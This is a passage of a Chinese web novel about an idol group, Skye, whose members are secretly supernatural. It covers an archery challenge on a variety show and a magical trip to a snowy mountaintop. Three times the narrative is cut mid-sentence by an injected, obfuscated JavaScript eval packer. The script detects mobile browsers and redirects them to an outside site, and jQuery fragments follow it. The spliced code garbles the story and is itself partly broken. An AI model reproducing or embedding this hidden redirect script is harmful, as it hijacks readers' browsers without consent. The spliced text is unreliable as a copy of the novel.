镜头外围拢在一处的工作人员有四十几个,花言这一箭从离弦到落地不过几秒钟,第一时间看清的摄像震撼的微微张大嘴巴,先是陷入茫然的失声,回过神后起了一身鸡皮疙瘩。
靠。摄像师在心底喃喃,这是他入行十年以来,见过装的最帅的逼。
柏林紧张地屏住呼吸,生怕被人察觉到不对,默默观察着李光旻和工作人员的反应。
还好,花言把握的度似乎刚刚好,精准卡着人类能接受的天花板峰值。
下一秒,自录制起全程沉默,敬业的把自己当背景板ai的工作人员们,有几个没忍住像返祖一样涨红了脸,脱离小板凳直接跳了起来,发出发自内心的惊呼。
“!!!!”
人群沸腾震惊的程度,唯有亲眼看到男足国家队勇闯世界杯一举夺下冠军,可以一战。
就是说,谁小时候看后羿射日的时候,没把自己代入幻想过啊。
北欧神话有狩猎之神乌勒尔,复仇者联盟有世界最佳狙击手鹰眼,到了现代也有防沉迷王者荣耀adc,全世界人民都做过同一个最强射手的梦。
李光旻握紧了手中的骰子:“高手在民间。不对……”
虽说爱豆也是普通人,但这么形容一位二十四小时生活在聚光灯下的顶流男团成员,总觉得哪里有点违和,毕竟这位帅的有点不像人了。
归根结底,搞竞技运动项目的人,多少都有点慕强。
于是李光旻换了一个措辞:“高手在人间啊!”
柏林欲言又止:“……”
算了,谁说在人间行走的一定是人。
花言神态随意,他握着复合弓放下手臂,熟练地忽略现场躁动的氛围,无视数道热切的视线,略微低头弯腰踏进柏林身前的影子里,钻到柏林的伞下面。
有一类人一举一动都像行走的画报,花言就是。
他毫无温度的冰凉指尖擦过柏林的手,从他手中接过了伞柄,朝他迈进了半步,倾斜太阳伞的角度,将柏林也笼罩在了阴影里。
两个人站在同一把伞下,柏林抬起头朝花言看过去,小声提醒:“我不用打伞的。”
花言抬起冰凉的手戳了戳柏林的脸。柏林的皮肤是温暖的,在太阳底下晒了没一会儿,就有些发烫。
而花言在阳光里待上片刻就会感觉到灵魂灼烧般的滚烫,皮肤却永远毫无温度,像一块捂不热的寒冰。
他歪头看着柏林:“可是我想和你一起打。”
果然还是软软的。花言想。不像他的皮肤,看上去光滑细腻,触感却坚硬犹如大理石。柏林的脸软乎乎的,像刚出笼的奶黄包,一戳一个印子。
他不动声色地收回手,顾左右而言他,压低声音:“你可以放心了。”
柏林被对方的话带跑了思路,点点头松了口气:“嗯嗯。”
放松下来之后,柏林恢复了一点好奇心,将随身麦捂得严严实实发问:“要做到这种效果,你是不是只用了一小部分力量呀?”
花言出道两年,学会了谦虚。他云淡风轻回答:“还好,也就是放了一百零八个太平洋。”
柏林:“……”
……论凡尔赛,还得是你。
两人的对话,现场工作人员听不到,导演听不到,但瞒不过正站在一旁等待挑战的成员们。
江枢苒微微挑眉,韩宇哲抄着口袋慢悠悠地偏头,眼神幽深。
唯有邬珩尧最沉不住气。
邬珩尧脸色很臭,没忍住走过去劈手抢过了花言手里的伞——
他假笑了一下,露出锋利的犬牙,在镜头前粗声粗气的敷衍了一句:“哇哦,一次就成功了,恭喜啊。”
突然被横插一脚,花言不悦地眯起眼,还没开口搭腔,邬珩尧又紧跟着补充:“箭射完了,你可以去棚子底下待着了。”
邬珩尧打着伞罩住柏林,别开脸蹭蹭鼻尖:“柏林,我下一个上,你也帮我打伞吧。”
意识到失去继续在场上待着的理由,花言脸色一沉,言语略带莫名:“……你需要打哪门子伞?”
邬珩尧一脸理所当然:“马上要回归了,我不能晒黑。”
柏林茫然地看着他眨眨眼:“……?”
花言不懂这只大尾巴狼怎么能这么不要脸:“…………?”
你要不要听听你在放什么屁。
花言匪夷所思的沉沉又看了一圈邬珩尧。
打他见到他第一面起,邬珩尧黝黑的肤色就令他印象深刻。且两年多过去,一点都没有变白的迹象。
柏林秉持着爱豆的职业修养,出门前都会习惯性抹一抹防晒,但邬珩尧从没碰过这种东西——他很清楚这些东西对他没有半点用。
面对紫外线,邬珩尧自带防御。因为他已经够黑了,哪怕走进一家美黑店想要消费,店家都要怀疑他砸场子的程度。
换句话来说,当他足够黑,紫外线就伤不到他。
花言听说人类有一句话流传甚广,叫“人不要脸,天下无敌”。
现在看来,邬珩尧虽然不是人,但在这方面无师自通,有过之而无不及。
李光旻还沉浸在意外发现了射箭天才的兴奋中,遗憾珍宝蒙尘,饱含希冀地旁敲侧击,委婉提议等花言在娱乐圈待够了以后,可以去尝试参加世界射箭锦标赛,他可以为花言做引路人,助他一臂之力。
花言左耳进右耳出,表面上礼貌回应会考虑,实际上眼眸晦暗,舔了舔随着情绪波动稍稍长出来的尖牙。
此刻无数个镜头对准了这里,花言并不能做些什么,只好暗暗将这一笔记下,等回头找邬珩尧算账。
不过让花言心情瞬间放阴、重新愉快起来的,是柏林拒绝了邬珩尧的要求。
柏林认为邬珩尧在开玩笑,并且他在再次看到邬珩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9067372|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尧的时候,很难不想起两人先前的那段对话。
柏林:所以他果然是在驴我。
于是他朝邬珩尧毫不犹豫地摇摇头,笑容灿烂:“我去找江哥喝点水休息休息,你加油吧。”
被留在原地打着伞的邬珩尧:“……”
并未参与战场但突然胜出一局的江枢苒,微怔后露出一个温柔缱绻的微笑,美的惊心动魄。
他施施然从塑料椅子上拿起一个大号水杯递给柏林,朝邬珩尧温和一笑:“加油。”
邬珩尧:“……”
被抛弃的小狼:今天是星期四吗,我需要知道最近的肯德基在哪。
工作人员倒是关注度都集中在了邬珩尧身上。
有了花言的惊艳表现在前,导演组和李光旻原本对skye的表现没报多少希望,此刻却不由得开始期待,会不会有下一个奇迹。
邬珩尧握着弓箭,心情算不上低落,但想起接下来不能在柏林面前展现自己,又有点郁闷。
Skye队内有不成文的约定:不能在大庭广众之下,做超出人类极限范围或认知的事。他们是热衷于给管理局找麻烦没错,却不想压榨自己的生存空间。
所以他们并非出自本意的维持着默契,遵守着底线。
硬要翻译一下,那就是过度装逼的只能有一个。
不然一连四个人都那么厉害,就太扎眼,后续容易惹出不必要的麻烦。
本来邬珩尧不介意被花言抢先,但现在他又有点微妙的不爽。
小狼:……都怪今天不是星期四。
邬珩尧在场上准备,柏林在场下喝水。
江枢苒递给柏林的超大号不透明保温杯,所有粉丝看到都会相当眼熟。
与之对应的还有花言的那个,跟了skye两年多的时间,走到哪都带着,一天要喝很多次。
李光旻也渴了,他从工作人员手里接过撕掉标签的矿泉水瓶,看看柏林手里的超大号杯子,肃然起敬:“爱豆都这么喝水的吗?”
柏林闻言一怔,挠挠头:“啊,我不是的。”
李光旻:“那这是?”
柏林解释:“这是江哥的,他……嗯,多喝水皮肤会好。”
李光旻看看柏林光滑的皮肤:“你不会特意多喝水吗?”
柏林想了想:“我录制期间一般不太喝水,不然总想去卫生间,容易耽误录制进程。江哥和花言在录制期间也经常喝,所以会自带水杯。”
李光旻笑了:“……那他们不用担心会想去卫生间吗?”
柏林为难地皱皱鼻子,心想总不能告诉李光旻他们早就脱离了人类这种冗余繁琐的消化系统,化身貔貅了。
于是柏林沉默片刻,只好诚恳回答:“他们比较能忍吧。”
李光旻:“……”
突然之间,他再看向旁边这些外表充满距离感的帅哥们时,很难不控制自己联想到其他的地方去。
李光旻:真敬业啊。
他看着江枢苒,没忍住说了一句:“你辛苦了。”
江枢苒:“……?”
第 15 章
柏林生怕李光旻又以某种刁钻的角度、提出一些他无法回答的问题,于是捧着杯子镇定地指指场中准备拉弓的邬珩尧:“李老师,要开始了。”
李光旻是事业批,果然不再纠结跟膀胱有关的学术讨论,立刻转头专注望向场内。
有了花言的一次性挑战成功在先,邬珩尧紧随其后,必须要失败才符合常理。
柏林跑到场外后,邬珩尧陷入沮丧中,本来打算敷衍一下做做样子的,反正他也不是真的在乎综艺上有没有高光。
放一百零八个太平洋,和放一百零九个太平洋,本质上区别不大。
但柏林中断了和李光旻的交谈,在他搭上弓弦的那一刻,第一时间将注意力放回了场内。
邬珩尧维持着平举起复合弓的预备姿势,余光乱飘,确认完毕。
——他、在、看、我。
如果邬珩尧的内心能发弹幕,现在大概能看到满屏的“芜湖”。
满血复活后,仿佛能看到耷拉下去的狼耳朵精神抖擞地竖起来,邬珩尧神态冷酷,手臂用力时绷起健美且恰到好处的肌肉线条,毫不掩饰攻击性的荷尔蒙汹涌澎湃。
镜头中的邬珩尧,一时间在众人眼中,恍惚与传说中英俊的弓箭之王阿波罗重叠。
比起陈列在梵蒂冈博物馆中的太阳神雕塑,邬珩尧胜在拥有动态的嚣张凌厉,俊美矫健中多了一丝野性的好战因子。
他将弓拉满,却没有立刻将箭矢放出。
因为他在思考,如何输得凶狠漂亮,在挑战失败的同时,不落下乘。
李光旻忍不住评价:“他比我想象中的沉稳。”
在他看来,一柄绷紧的弓,用力过猛会导致弓箭断裂。邬珩尧出乎他意料地冷静沉着,没有急于让箭脱手,而是给心跳恢复平稳的时间。
柏林顺着对方的话点了点头,没有反驳,只是他直觉事实应该不是李光旻想的那样。
万众瞩目之下,邬珩尧出手了。
与花言干脆利落命中目标的轻巧精准不同,邬珩尧的箭如同一道冲破大气层的流星体剧烈燃烧,在空气中冲撞,仿佛能看到具象化的火星。
这支箭摧枯拉朽,横冲直撞地冲向了……放置备用复合弓的架子。
对,这支箭完全跑偏,没有按照应有的路线去找铜钱,而是直直往架子的方向去了。
在邬珩尧迟迟不松开箭矢的过程中,柏林他们在李光旻的建议下,都离开架子来到了更近更安全的平行位置观看,于是架子周围刚好是没有人的。
多米诺效应下,箭矢击打在弓片、滑轮上,一个接一个地轰然砸落。
邬珩尧这一箭,对现场道具的破坏性可谓是毁灭级的,对现场道具老师的冲击也是宇宙级的。
江枢苒:“……”
韩宇哲:“……”
……什么叫自己吃不上饭,就把别人的碗掀了啊?
韩宇哲遥遥跟邬珩尧对视。
他黑漆漆的眼睛里清晰地写着两个大字:无耻。
邬珩尧丝毫不为所动:谢谢夸奖。大家都是黑暗生物,人生建议是不要硬装天使,毕竟你我都知道天使也不是什么好东西。
道具老师脚下一个趔趄,手颤颤巍巍地捂住了脸:要命,弓箭都是借的,还得还回去啊!
还好还没来得及默哀,就看到邬珩尧满脸歉意,沉声道:“抱歉,失误了。所有损失我来承担。”
道具老师一颗心瞬间放回了肚子里。他连忙摆手表示:“没事没事,意外而已。”
邬珩尧果然像他看上去那样,臂力惊人。就是准头有点难以评价。
工作人员紧急查看了一下,备用弓恰好损坏在了最关键的弓片和滑轮上,几乎是致命的。
备用弓一下子库存缩水,就只剩下现在邬珩尧手里那一把能用。
江枢苒和韩宇哲倒是可以继续轮流用这仅剩的一把弓,但原定的计划是每个人先上手试过一轮后,再给所有人半天的时间练习,看能有几个人完成挑战。
这下子道具不够用了,怎么办?
综艺节目里本身就会出现很多不可预测的意外,最重要的问题是如何解决。
导演迅速反应,先让工作人员联系附近的体育用品商店紧急采购。
万幸得到的消息是一个小时就能送到,不影响整体录制。
顺风耳听到这一点的邬珩尧稍有遗憾,他本来打算只留下一把弓给柏林。在弓箭只有一把的情况下,江枢苒和韩宇哲绝对不会占用,会将机会留给他。
这样大家就又回到了同一水平线,谁都没有表现的机会,很公平。
导演不慌不忙。
其实事情本身也没有看上去那么严重。原本节目组这一期要请的嘉宾是演员南屿,也就是说本来就是给一个人策划的挑战,skye来救场是意外。哪怕真没法所有人一起挑战,也不是大问题。
更何况——他们本质上是一档看热闹的综艺节目啊!好家伙,这一幕剪进预告镜头里,收视率肯定相当高。
定了定神,导演用扩音器进行沟通:“新的复合弓一个小时后到,录制正常继续。”
邬珩尧这一手太轰轰烈烈,彻底断了江枢苒和韩宇哲的表现机会,两人很有分寸的适当展现了一下技术,控制在有出彩的地方、但最终遗憾失败。
导演征询嘉宾们的意见:“新的复合弓到之前,谁先继续挑战?”
柏林还没开口,就听到队友们想都不想的回答,乱糟糟的重叠在一起。
韩宇哲慢腔慢调:“柏林——”
花言托着下巴:“当然是柏林。”
江枢苒嗓音轻柔:“柏林来吧。”
邬珩尧粗声粗气:“柏林。”
突然过于密集听到自己的名字、以至于险些不认识这两个字的柏林本林:“……”
柏林没有跟队友们你来我往的进行不必要的推拉,他沉默几秒,高度配合地站起身,笑着叹了口气:“好的,我来吧!”
现场工作人员忍不住笑出声。
相比较队友们可圈可点的表现,柏林就没那么亮眼了。
他肢体协调控制力强,比正常情况下的普通人明显上手快,但珠玉在前,就显得平平无奇。
一开始工作人员都在感叹花言真的很厉害,邬珩尧力道的确惊人。毕竟柏林的练习过程就是不断重复射箭,作为旁观者,看得久了会觉得枯燥。
练习期间没有什么工作人员需要做的事,他们关注的点集中在柏林今天的发型,穿搭,肩背线条,唯独不怎么关注柏林练习的过程。
在柏林练习了四十分钟后,工作人员不带恶意的低声讨论,担忧遗憾的觉得柏林看上去今天很难成功。
柏林听到了,但他完全不介意。
他累了就活动一下胳膊,期间也没有浪费时间,抓紧这点功夫跟李光旻求教刚刚的动作哪里有问题,应该怎么调整。
等新一批复合弓到了,所有成员同时练习,江枢苒和韩宇哲陆续很快成功了,练习时长不到半个小时。
三个成员开始挑战第二个难度关卡的时候,柏林还被困在第一关。
队友们陆续进入第三关后,柏林依然停滞在第一关。
李光旻跟天赋异禀的队友们没有形成对照组,反倒是skye内部,柏林成了吊车尾。
从一大早录制到下午四点,skye的成员们除柏林以外,都顺利完成了三个难度的挑战。
事实上今天的挑战原理不复杂,能完成第一个关卡,摸到规律加深经验与手感,后面就是概率问题了。
天色渐暗,日落染红了城市的地平线,昏黄的日光将柏林的脸颊映照得红彤彤。
柏林已经连续射箭超过八个小时。
起初所有工作人员的目
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9069161|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光都忍不住落在其他人身上,他们进步神速,一举一动都潇洒干脆,精准度的提升是肉眼可见的。
看着他们就仿佛看到了冉冉升起的新星,耀眼夺目,慕强心理让血液都跟着兴奋沸腾燃烧。
然而到后来,所有人都忽略忘记了更厉害的花言、邬珩尧、江枢苒、韩宇哲,眼里只能看得到柏林。
他自己或许不清楚,现场的交谈声不知何时停了下来,人们的目光定格,不知不觉中视线都集中在他身上。
他握着弓箭的手,专注的眼神,丝毫没有产生过动摇。
无论失败过再多次,也没有哪怕一秒,想要就此放弃。
经历了中考的磨砺、高考的大浪淘沙,社会的千锤百炼,现场没有哪个人的人生中没碰见过几个怎么也追不上的人。永远稳坐年级第一的同学,科研成果不断登上最高期刊的前辈,望其项背一骑绝尘的同行,身边永远有比自己厉害的人。
所以他们好像在柏林身上看到了自己。
但柏林身上有他们的影子,又和他们完全不同。
在一个团体中,如果队友们表现过于惊艳完美,大多数人会感到亚历山大,认为队友的光芒夺走了瞩目,如同一座沉重的大山压在头顶。他们会觉得自己成了平凡普通到毫无亮点的对照组,失去信心怯场到抬不起头。
柏林不会。
他仿佛在开开心心地朝观众大力挥手:不要灰心!我也跟你们一样,没有那么厉害的天赋!
在这个“摆烂”的玩梗与自我调侃话大行其道、“躺平”被随时挂在嘴边的时代,柏林欣然接受失败,高高兴兴地继续吭哧吭哧努力:哇,我比刚刚更厉害了,看到没有!
别人失败了会沮丧、烦躁、失望,厌倦,有一百种理由放过自我为难:我不适合这个,完成了这个也没什么意义吧,我到底是在浪费时间干什么。
柏林失败了:没关系!我可以!我感觉到我在进步了!
他在采访中笑眯眯地提到过自己为数不多的优点:坚持。专注。他不乐意放弃。他对自己也有信心,失败了也依然相信自己能成功。
他练了一整天,后来胳膊都抬不起来了——李光旻在一旁给看感动了。肃然起敬称不上,但很惺惺相惜:他本人就是这么苦练的,他喜欢别人为他欢呼,但也希望别人不将他的汗水仅仅归结为“天赋”。
本来按照三季以来的录制平均时长,到下午就能结束了。
结束不是指的下午嘉宾就能完成挑战了,而是下午嘉宾大多已然精疲力竭,选择放弃了。在这个努力过的节点放弃,观众也不会指责他们什么。
柏林没吃饭,一个原因是他一扎进去就处于上头状态,再就是他沉浸式不断尝试,一旦停下来,逐渐摸到的手感和经验就可能找不着了。
导演终于明白副导演为什么喜欢柏林。
意志力出乎意料的强韧。这一类人哪怕遇到困难,哪怕失败无数次,依然会心态平稳地继续努力,这样的人做什么都能成功。
于是节目组也配合他,支持他,陪着他一起延迟收工,继续拍。
柏林闭了闭眼睛。
他无声的长长吐出一口气,目光全神贯注地落在目标位置,第无数次瞄准,拉弓。
这一次,那支箭就像穿透极夜的第一束阳光,飞跃漫无边际的地平线,冲破无穷无尽的黑暗,驱散清晨朦胧的薄雾。
天光劈开浓稠的黑暗,不给影子残留的机会。
柏林凝视着那支箭穿过铜钱中空的缝隙,将中间的那颗骰子无比干脆地击落——
他满头大汗,蓬松的头发湿透了粘在额头上,衣服也皱皱巴巴。
他很累了,胳膊酸痛到微微发抖,乍一放松下来,手指脱力甚至握不住手里的弓。
但是他确认成功后露出的那个笑容,简直可以点亮整个夜空,能让最冷硬的石头怦然心动。
第 16 章
当晚回到酒店,柏林是以一种丧尸断臂般的离奇姿势艰难干饭的。
胳膊暂时酸痛的抬不起来,柏林很佛系地歪着脑袋凑过去用嘴巴努力够勺子——山不就我,那我就去就山嘛,莫得关系。
他认为辛苦一天需要吃顿好的犒劳自己,于是花了一个小时的时间,执着的费劲吃完了三对炸鸡翅,一碗牛肉汤,外加炫了两块韩宇哲外带的意大利直出提拉米苏。
吃饱喝足的柏林临睡前做了全套的拉伸,热敷,熟练地用筋膜枪给自己过度酸痛的肌肉放松。
柏林龇牙咧嘴地抽了两口冷气,感觉灵魂都一瞬飞走了。
长期练舞的训练强度不比射箭小,柏林看着瘦削,实际上体能甩百分之九十九的同龄人一大截,睡一觉明天能恢复个六七成。
身体疲惫,睡眠质量反而好。柏林一夜无梦,早早醒过来,神清气爽。
每天早晨,只要时间不是特别紧张,柏林会习惯性地跟着关注许久的b站up练八段锦。
他不常留评论,但每次up出视频都会一键三连支持,以至于前段时间,系统提示恭喜他获得了up的专属粉丝勋章。
柏林今天五点四十就醒了,活动了一下肩膀,点开up的跟练视频。
这位up的构图背景十年如一日,是在山间录制的,云雾缭绕,人间仙境,世外桃源。
喧嚣中难得能让人心神安宁的自然净土,很有意境。
评论区时常有新入坑的人问这是什么山,也想去看看,没人答得上来。
神秘山头并不归属于任何一个叫得上名字的旅游景区,也不需要游客花钱上香,网友们都是走元宇宙上香的路子,靠一键三连变相白嫖。
各大app显示Ip地址后,网友们第一时间杀进up的主页,查看ip——
好的,去蹭up主素斋的伟大梦想彻底破灭。
雪原地区,原生态的代名词,地广人稀。尤其最北部更是一片极易有去无回的无人区,地貌复杂,至今没能修建公路。
这位少林up成为了唯一一位完全不必担心ip地址暴露、从而被窥探打扰三次元的up。
不是谁都能爬野山,勇闯无人区,就为了让up主一拳教他做人——
没人怀疑那看似清瘦的身板下虬结有力的肌肉。
少林up年纪很轻,慈眉善目,冷清寡言,但是一拳能打三十个。
全套八段锦经过少林up的改编调整,一整套打下来足足有二十三分钟,柏林这么好的体力,练完后背都被汗浸透了,少林up脸庞白净,呼吸平稳,收功后青色僧衣依然干燥清爽。
柏林有理由相信,他很安全。
做完拉伸,柏林一拍脑袋想起来忘了先洗漱,暂停视频拐进了卫生间。
昨晚刷完牙冷不丁一个手抖,自带的牙刷掉到了地上,尽管卫生间的地面干净的光可鉴人,但出于心理因素,柏林不打算再用了。
他本来想着用酒店的一次性牙刷就好,没想到找了一圈,工作人员大概率是漏放了。
柏林摸摸脑袋,自言自语:“啊,不知道找前台会不会导致人丢工作……”
Skye下榻的酒店是节目组安排的,作为顶流条件必不可能太差。像这种级别的酒店,有影响力的公众人物入住,反馈类似的低级失误会被视作服务不到位,会追责的。
柏林亲眼见过,有圈内的某个艺人发朋友圈,说他提了一句房间少了什么,负责的临时员工直接被开除了。他本意没这个意思,怀疑酒店管理有意拿他当借口搞杀鸡儆猴那一套,他只是刚好撞枪口上了,后悔不该提。
那个人发的不一定是真话,有可能事实复杂的多,该艺人担心日后被开除的人在网上爆料。也不是说所有酒店都会将芝麻大的小事放大一刀切,柏林只是不希望这种说不清的麻烦事发生。
他点开微信,在几个对话框上犹豫了一下,发了条消息。
两秒钟后,房间门被敲响了。
韩宇哲低沉悦耳的嗓音响起,隔着门隐约传进来:“快递。”
柏林:“……”
两年了,他依然无法适应队友神出鬼没的闪现。
他打开门,被站在门外的韩宇哲造型惊得微微睁大眼睛。
韩宇哲一身笔挺的大衣,内搭黑色高领,发顶以及肩头上还有未融化的雪花。他戴着墨镜,手里端着一杯喝了一半的鸡尾酒,另一只手举着一次性牙刷。
韩宇哲悠悠一笑:“你好,签收。”
柏林接过他手里的牙刷,有很多槽点堆在嘴边,于是错身让韩宇哲先进房间:“……”
等门关上,柏林忍不住好奇发问:“呃,你又出了趟远门?”
韩宇哲熟练地窝到了沙发里,长腿交叠,单手解开大衣的扣子,露出里面平整熨帖的西装,满脸写着斯文败类:“嗯,我在冰岛找了一间酒屋度假。”
柏林:“……”
啊,不奇怪了。
韩宇哲本身不怕冷,他多穿了两件,是为了让他在人群中显得不那么格格不入。
虽然他现在身上这套西装外罩大衣,放在冰天雪地的冰岛也很违和就是了。
至于他为什么戴墨镜——墨镜起不了伪装作用,但潮人就是黑天也可以戴墨镜,室内也可以戴墨镜,总之潮人的事别管。
冰岛是韩宇哲曾公开在采访中提到的理想居住地,理由是那里的日照时间最短,有时一天只有四个小时能见到阳光。
柏林对那场采访记忆犹新。
韩宇哲面带愉悦的赞叹:“那里简直就是地狱。”
柏林:“……”
他严重怀疑Skye的世界巡回未来很难踏进冰岛地界半步。
他至今还记得,主持人当时一句话卡在喉咙里接不上来,看上去很想自掐一下人中救命,只好干笑着强行哈哈哈了两声评价:“哥,你好幽默。”
当时韩宇哲听完微微皱眉,想要开口反驳,被柏林反应很快地一把按住了。
而现在,放松靠在沙发里的韩宇哲慵懒地撑着脑袋,挑起的唇角含着迷醉之意:“真好,果然是人间地狱。”
柏林:“……”
柏林:冰岛人民听到你的评价,大概不会感谢你。
为防止继续跟韩宇哲探讨有关地狱的问题,柏林转身进卫生间洗漱去了。
刷完牙出来,柏林发现韩宇哲还在:“我没事啦,谢谢你帮忙送牙刷过来,你回去继续喝酒吧,别被人拍到。”
韩宇哲没动。他视线落在柏林横着放在支架上的手机:“又练那个八段锦?”
柏林点了播放,点点头:“对呀,很有效果,你也可以试——”
他说到一半,又将后半句咽了回去:“啊,练这个对你没什么用。”
韩宇哲瞥了眼屏幕,撑着脸注视柏林半晌:“你也想去山上练习吗?”
柏林暂停视频,想象了一下那个画面,肯定地回答:“当然啦,山上环境自然,空气清新,比酒店自在多了。看着日出升起锻炼,多有意境,可惜没机会试试。”
韩宇哲若有所思。
柏林见他不再开口了,正要继续播放跟练,就看到韩宇哲施施然站起身,朝他走过来。
镜头拍摄不到的房间内,韩宇哲迈出一步,身形消失,声音下一刻就在柏林身后传来。
韩宇哲身上散发着大雪清冽的冰寒气息,他从背后俯身靠近他,修长苍白的手轻轻盖住了柏林的眼睛。
他淡淡轻声耳语:“你想去,那我们现在就去看看吧。”
柏林尚未来得及反应,就感觉到了一丝天旋地转般的失重感。
等背后的人松开手退去,柏林第一反应是周遭的温度骤降,冷得打了个哆嗦。
房间里只开了一盏台灯,光线昏暗。
韩宇哲捂住眼睛的手放开后,柏林被骤然变化的视野猝不及防刺痛了眼睛,酸涩地用力眨了好几下,险些流出生理性的眼泪。
他看到了雪山顶峰铺天盖地的白。
柏林环顾着四周,意识到自己正站在一座不知名的山峰最高处,脚下无人踩踏过的新雪厚重、绵软,随着重力下陷,没过了他的鞋面。
袜子被雪浸湿了,柏林原地踩了踩,试图把雪抖落下去。
天蒙蒙亮,一切都是冷色调的。
他抱紧胳膊打量着绵延不绝的山脉,自上而下的高度看得人心慌,目光所及是不见尽头的冷杉林,茫茫的飘雪簌簌而下,无声飞舞,纯粹原生态的自然景观蔚为壮观。
柏林完全懵掉,呆呆地看了半天不动弹。
韩宇哲不动声色靠近他:“有什么想说的吗?”
他期待能从柏林脸上看到惊喜的表情,在想柏林会不会笑着说好喜欢,或者哇,谢谢你。
柏林懵懵地扭过头看着他,吸吸鼻子,打了个喷嚏:“阿秋!”
他蹭蹭鼻尖,已然能听出一点闷闷的鼻音:“……救命,我好冷啊。”
韩宇哲:“……”
自诞生起就未曾对炎热或寒冷有过概念的恶魔,陷入了诡异的沉默。
韩宇哲眼底闪过一丝怔愣,失笑的无声叹息。
细长漂亮的手指落在衣襟上,他干脆地将大衣脱下来,罩在了柏林肩头:“穿上。”
柏林抓住衣领收拢,一边把胳膊往袖口里申,一边胡乱比划着:“你会不会……”
韩宇哲以为对方是想关心他会不会冷,正想说他跟人类不一样,就听到柏林说完了后半句——
柏林:“……那种保暖什么的魔法啊?”
韩宇哲:“……”
他思路生生转了个弯,卡了半拍才迟疑道:“可以做到。”
其实没有所谓保暖的魔法,因为恶魔感受不到温度的变化。但他可以利用别的思路完成,殊途同归。
柏林感觉到自己的骨骼肌在因寒冷不断收缩,他哆哆嗦嗦地飞快将大衣套上,然而大衣本身并没附带什么’温暖的余温’,反而由于韩宇哲冷冰冰的像一具僵尸,更像是刚从冷冻冰柜里拿出来。
韩宇哲伸出手,翻转手掌,苍白漂亮的手心浮现出一束冰蓝色的火焰。
火焰不断缩小,跳跃着悬浮环绕在韩宇哲的指尖,仿佛拥有生命一般。
韩宇哲静静地抬起手,泛着寒气的指尖点在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9071875|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柏林的眉心。
下一秒,柏林感觉寒冷远去了。
像被什么看不见的东西隔绝了一般,他感到温暖,舒适,仿佛泡进了无形的温水中,暖洋洋的。
柏林茫然地眨了眨眼,试探着伸出手去接飘落的雪花。
神奇的是,他依然能隐约分辨出雪花是冰凉的,却不会感受到寒冷了。
韩宇哲耐心地等待着柏林的反应,看他新奇地在原地转了两个圈,蹲下来捏了一个雪球,想了想又“啊呜”咬了一口,仔细感受了一下之后将雪球快乐地抛出去,最后拍拍手站起身低头走神,像在思考什么。
半晌,柏林充满求知欲地看向韩宇哲:“这个法术有什么特定的施展条件,或者说很耗费力量吗?”
韩宇哲看着他摇头。
柏林继续询问:“会不会很难?需要你付出什么特别的东西吗?”
韩宇哲微不可查地停顿了一下,依然摇头。
柏林严谨地再三确认过后,露出百思不得其解的困惑表情:“所以你早就会这种保暖法术,为啥去年冬天零下十度走红毯的时候,你看着我到处找地方贴暖宝宝、套两层加热衣依然冻成狗,不帮帮忙呀!!”
韩宇哲:“……”
如果韩宇哲是8G冲浪的非人类,他就会明白如何用一句话精准总结此刻的感想——柏林是不是对浪漫过敏啊?
他难得沉默了片刻,实话实说:“我没看出来你冷,红毯上你笑得很开心。”
柏林瞅着他叹了口气:“哎,粉丝都在看直播,我当然要开心一点呀!”
韩宇哲后知后觉:“所以你是装作不冷的样子?”
柏林点点头:“对呀,当天零下十度,我冻得险些魂归西天……”
他说到这里,不由得停顿了一下,思考人死后灵魂究竟会去哪里这个深奥的问题。传说中恶魔是以灵魂为食的,那么人死后灵魂是否还存在呢?
他问了,韩宇哲有五成的可能会告诉他答案。
但是柏林犹豫了一下,最终没有问出口。
他话头一转,摸摸鼻尖开始畅想未来:“既然我骗过了你,是不是说明我演技是有潜力的,以后也可以往演员的方向发展发展?”
韩宇哲慢悠悠摇头:“不清楚,我没有做人的经验。”
柏林:“……”
他放弃跟超自然生物探讨人生,确认了下时间还够用,开始探头探脑寻找能活动的区域。
放眼望去一目了然,柏林遗憾摇头:“这里环境很美,但没法练习。雪太厚了,行动有碍。”
没听到回应,柏林转身看到韩宇哲站在白茫茫一片的雪地里,漆黑的眼底倒映着天际蔓延的晨光。
韩宇哲漫不经心地垂眸,轻描淡写地微微偏头,挥动了一下指尖。
一切发生的太快,像无限快进后又在瞳孔中慢放的镜头。
经年累月的积雪被瞬间分解消失,韩宇哲顺便把崎岖不平的山头也给砍平整了一块区域,给柏林腾出一片足够安全、能够自如活动的平坦空地。
这一切发生在瞬息之间,快得柏林来不及反应。
光秃秃一片齐整的仿佛用压路机反复压过的地面、突兀地出现在雪山上,跟周围的景观格格不入。
“没关系。”韩宇哲懒懒地撑着侧脸歪头,“你现在可以练了。”
